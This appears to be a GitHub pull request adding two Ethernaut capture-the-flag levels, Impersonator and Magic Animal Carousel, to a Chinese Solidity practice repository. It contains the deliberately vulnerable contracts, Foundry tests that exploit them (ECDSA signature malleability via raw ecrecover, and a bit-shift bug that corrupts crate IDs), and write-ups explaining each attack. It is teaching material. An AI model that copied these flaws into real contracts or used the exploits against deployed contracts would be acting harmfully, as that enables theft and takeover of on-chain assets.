Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

'Impersonator' and 'Magic Animal Carousel' #29

Open
wants to merge 7 commits into
base: main
Choose a base branch
from
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -119,6 +119,8 @@ $ forge test -C ./src/Capture_the_Ether/Warmup/Deploy_a_contract -vvv
- **Switch**: [代码](./src/Ethernaut/Switch/Switch.t.sol) | [文章](./src/Ethernaut/Switch/README.md)
- **HigherOrder**:[代码](./src/Ethernaut/HigherOrder/HigherOrder.t.sol) | [文章](./src/Ethernaut/HigherOrder/README.md)
- **Stake**: [代码](./src/Ethernaut/Stake/Stake.t.sol) | [文章](./src/Ethernaut/Stake/README.md)
- **Impersonator**: [代码](./src/Ethernaut/Impersonator/Impersonator.t.sol) | [文章](./src/Ethernaut/Impersonator/Readme.md)
- **Magic Animal Carousel**: [代码](./src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.t.sol) | [文章](./src/Ethernaut/MagicAnimalCarousel/Readme.md)

## 参考

Expand Down
124 changes: 124 additions & 0 deletions src/Ethernaut/Impersonator/Impersonator.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,124 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "openzeppelin-contracts-08/access/Ownable.sol";

// SlockDotIt ECLocker factory
contract Impersonator is Ownable {
uint256 public lockCounter;
ECLocker[] public lockers;

event NewLock(address indexed lockAddress, uint256 lockId, uint256 timestamp, bytes signature);

constructor(uint256 _lockCounter) {
lockCounter = _lockCounter;
}

function deployNewLock(bytes memory signature) public onlyOwner {
// Deploy a new lock
ECLocker newLock = new ECLocker(++lockCounter, signature);
lockers.push(newLock);
emit NewLock(address(newLock), lockCounter, block.timestamp, signature);
}
}

contract ECLocker {
uint256 public immutable lockId;
bytes32 public immutable msgHash;
address public controller;
mapping(bytes32 => bool) public usedSignatures;

event LockInitializated(address indexed initialController, uint256 timestamp);
event Open(address indexed opener, uint256 timestamp);
event ControllerChanged(address indexed newController, uint256 timestamp);

error InvalidController();
error SignatureAlreadyUsed();

/// @notice Initializes the contract the lock
/// @param _lockId uinique lock id set by SlockDotIt's factory
/// @param _signature the signature of the initial controller
constructor(uint256 _lockId, bytes memory _signature) {
// Set lockId
lockId = _lockId;

// Compute msgHash
bytes32 _msgHash;
assembly {
mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
mstore(0x1C, _lockId) // 32 bytes
_msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
}
msgHash = _msgHash;

// Recover the initial controller from the signature
address initialController = address(1);
assembly {
let ptr := mload(0x40)
mstore(ptr, _msgHash) // 32 bytes
mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
pop(
staticcall(
gas(), // Amount of gas left for the transaction.
initialController, // Address of `ecrecover`.
ptr, // Start of input.
0x80, // Size of input.
0x00, // Start of output.
0x20 // Size of output.
)
)
if iszero(returndatasize()) {
mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
revert(0x1c, 0x04)
}
initialController := mload(0x00)
mstore(0x40, add(ptr, 128))
}

// Invalidate signature
usedSignatures[keccak256(_signature)] = true;

// Set the controller
controller = initialController;

// emit LockInitializated
emit LockInitializated(initialController, block.timestamp);
}

/// @notice Opens the lock
/// @dev Emits Open event
/// @param v the recovery id
/// @param r the r value of the signature
/// @param s the s value of the signature
function open(uint8 v, bytes32 r, bytes32 s) external {
address add = _isValidSignature(v, r, s);
emit Open(add, block.timestamp);
}

/// @notice Changes the controller of the lock
/// @dev Updates the controller storage variable
/// @dev Emits ControllerChanged event
/// @param v the recovery id
/// @param r the r value of the signature
/// @param s the s value of the signature
/// @param newController the new controller address
function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external {
_isValidSignature(v, r, s);
controller = newController;
emit ControllerChanged(newController, block.timestamp);
}

function _isValidSignature(uint8 v, bytes32 r, bytes32 s) internal returns (address) {
address _address = ecrecover(msgHash, v, r, s);
require(_address == controller, InvalidController());

bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
require(!usedSignatures[signatureHash], SignatureAlreadyUsed());

usedSignatures[signatureHash] = true;

return _address;
}
}
32 changes: 32 additions & 0 deletions src/Ethernaut/Impersonator/Impersonator.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./ImpersonatorFactory.sol";

contract ImpersonatorTest is Test {
ImpersonatorFactory factory;

function setUp() public {
factory = new ImpersonatorFactory();
}

function testImpersonator() public {
Impersonator impersonator = Impersonator(factory.createInstance(address(this)));

uint256 secp256k1_n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141;

// get the signature from the factory
bytes32 r = 0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91;
bytes32 s = 0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2;
uint8 v = 27;

s = bytes32(secp256k1_n - uint256(s));
v = v == 27 ? 28 : 27;

ECLocker locker = impersonator.lockers(0);
locker.changeController(v, r, s, address(0));

assertTrue(factory.validateInstance(payable(address(impersonator)), address(this)));
}
}
29 changes: 29 additions & 0 deletions src/Ethernaut/Impersonator/ImpersonatorFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../base/Level.sol";
import "./Impersonator.sol";

contract ImpersonatorFactory is Level {
function createInstance(address _player) public payable override returns (address) {
_player;
Impersonator impersonator = new Impersonator(1336);
bytes memory signature = abi.encode(
[
uint256(11397568185806560130291530949248708355673262872727946990834312389557386886033),
uint256(54405834204020870944342294544757609285398723182661749830189277079337680158706),
uint256(27)
]
);
impersonator.deployNewLock(signature);
return address(impersonator);
}

function validateInstance(address payable _instance, address _player) public view override returns (bool) {
_player;
Impersonator instance = Impersonator(_instance);
ECLocker locker = instance.lockers(0);
return locker.controller() == address(0);
}
}
42 changes: 42 additions & 0 deletions src/Ethernaut/Impersonator/Readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
# Impersonator

## 题目描述

[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x9D75AF88C98C2524600f20B614ee064aE356C19C)

目标是使ECLocker合约中的controller地址变为零地址

## 运行

根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令:

```sh
$ cd WTF-CTF

$ forge test -C src/Ethernaut/Impersonator -vvvvv
```

## 功能简述

要想改变`controller`的值,只能调用`changeController`函数,通过验证原始`controller`的签名,来修改`controller`地址。复用签名?

**可锻性攻击**(Malleability Attack),利用签名的数学特性以生成替代有效签名的攻击方式。它允许攻击者在不需要私钥的情况下修改签名,同时保持签名的有效性。这种攻击方式尤其可能在区块链网络中造成交易被重复执行的漏洞,称为**交易重放攻击**。

secp256k1曲线(用于以太坊和比特币的ECDSA签名)具有关于x轴的对称性,因此对每个有效签名(r, s),可以通过计算(r,n-s)生成一个等效的签名。[其中“n” 指的是椭圆曲线上的一个特定参数——生成点 G 的阶。阶 n 表示将生成点重复加上自身 n 次后结果为零,通常称为曲线的“基点阶”或“生成点的阶”。] 对于 secp256k1 曲线,阶 n 是一个非常大的素数,数值为:

```
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
```

这导致每个原始签名都会有两个可能的签名表现形式,这在验证环节不会被视为无效。这种特性使得攻击者能够在不更改交易内容的情况下改变签名格式,从而引起交易哈希的变化。虽然交易内容没变,但不同的哈希值让交易在某些系统中可能被视为新的交易,从而导致重复支付等问题。

为减少这种风险,以太坊通过EIP-2规范限制了s的范围,所有 s 值大于`secp256k1n/2`的交易签名都被视为无效。这样做减少了可接受的签名数量,确保对每个r值仅有一个有效的签名,从而避免了签名的可锻性问题。

**然而,若直接使用ecrecover函数且未限制s值,则仍可能出现漏洞。**

所以,解题思路就是eip-2中提到的。

> Allowing transactions with any s value with `0 < s < secp256k1n`, as is currently the case, opens a transaction malleability concern, as one can take any transaction, flip the s value from `s` to `secp256k1n - s`, flip the v value (`27 -> 28`, `28 -> 27`), and the resulting signature would still be valid.

在OpenZeppelin的[ECDSA合约](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v5.1/contracts/utils/cryptography/ECDSA.sol#L134)中,也解释并限制了签名复用操作。

50 changes: 50 additions & 0 deletions src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract MagicAnimalCarousel {
uint16 public constant MAX_CAPACITY = type(uint16).max;
uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
uint256 constant OWNER_MASK = uint256(type(uint160).max);

uint256 public currentCrateId;
mapping(uint256 crateId => uint256 animalInside) public carousel;

error InvalidCarouselId();
error AnimalNameTooLong();

constructor() {
carousel[0] ^= 1 << 160;
}

function setAnimalAndSpin(string calldata animal) external {
uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
| ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

currentCrateId = nextCrateId;
}

function changeAnimal(string calldata animal, uint256 crateId) external {
address owner = address(uint160(carousel[crateId] & OWNER_MASK));
if (owner != address(0)) {
require(msg.sender == owner);
}
uint256 encodedAnimal = encodeAnimalName(animal);
if (encodedAnimal != 0) {
// Replace animal
carousel[crateId] = (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender);
} else {
// If no animal specified keep same animal but clear owner slot
carousel[crateId] = (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
}
}

function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
require(bytes(animalName).length <= 12, AnimalNameTooLong());
return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
}
}
25 changes: 25 additions & 0 deletions src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarousel.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./MagicAnimalCarouselFactory.sol";

contract MagicAnimalCarouselTest is Test {
MagicAnimalCarouselFactory factory;

function setUp() public {
factory = new MagicAnimalCarouselFactory();
}

function testMagicAnimalCarousel() public {
address magicAnimalCarousel = factory.createInstance(address(this));

MagicAnimalCarousel(magicAnimalCarousel).setAnimalAndSpin("WTF");
MagicAnimalCarousel(magicAnimalCarousel).changeAnimal(
string(abi.encodePacked(hex"ffffffffffffffffffffffff")), 1
);
MagicAnimalCarousel(magicAnimalCarousel).setAnimalAndSpin("WTF");

assertTrue(factory.validateInstance(payable(address(magicAnimalCarousel)), address(this)));
}
}
28 changes: 28 additions & 0 deletions src/Ethernaut/MagicAnimalCarousel/MagicAnimalCarouselFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../base/Level.sol";
import "./MagicAnimalCarousel.sol";

contract MagicAnimalCarouselFactory is Level {
function createInstance(address _player) public payable override returns (address) {
_player;
MagicAnimalCarousel magicAnimalCarousel = new MagicAnimalCarousel();
return address(magicAnimalCarousel);
}

function validateInstance(address payable _instance, address _player) public override returns (bool) {
_player;
MagicAnimalCarousel instance = MagicAnimalCarousel(_instance);
// Store a goat in the box
string memory goat = "Goat";
instance.setAnimalAndSpin(goat);

// Goat should be mutated
uint256 currentCrateId = instance.currentCrateId();
uint256 animalInBox = instance.carousel(currentCrateId) >> 176;
uint256 goatEnc = uint256(bytes32(abi.encodePacked(goat))) >> 176;
return animalInBox != goatEnc;
}
}
36 changes: 36 additions & 0 deletions src/Ethernaut/MagicAnimalCarousel/Readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
# MagicAnimalCarousel

## 题目描述

[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x68839EDF716D5Ba1fb5C1e724bF160B23fa523b5)

目标是使MagicAnimalCarousel合约中再添加“Animal”时,将“Animal”的名称发生变化。

## 运行

根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令:

```sh
$ cd WTF-CTF

$ forge test -C src/Ethernaut/MagicAnimalCarousel -vvvvv
```

## 功能简述

`MagicAnimalCarousel`合约中的`carousel` 映射,使用一个 `uint256` 变量存储新的动物编码、下一个动物的ID,以及调用者的地址。

- 存储结构
- **位 176-255(80 位)**:动物编码。
- **位 160-175(16 位)**:下一个动物ID。
- **位 0-159(160 位)**:所有者地址。

但是,在`MagicAnimalCarouse`l合约中的`changeAnimal`函数中,用户在修改动物名称时,并没有将动物编码左移160+16位,而是左移了160位,使得我们可以通过操控动物名称,进而修改动物的编号,而动物最多有`type(uint16).max)`【0xffff】这么多,且在合约中记录动物编号的变量`nextCrateId`又是以`uint256`的变量进行存储的,所以编号可以发生上溢出。

攻击思路:

1. 我们加入一个名为“WTF”动物,获得编号1。
2. 修改编号1的动物名称为“ffffffffffffffffffffffff”【24位=20位名称+4位的下一个动物编号】。
3. 再加入名为“WTF”动物,获得编号0xffff。
4. 这样再加入“Goat”时,会获得编号1,再计算“Goat”的`animalInside`时的`carousel[nextCrateId]`不为空,就会获得脏数据【最早加入的“WTF”的数据】,从而将“Goat”计算后名称发生变化。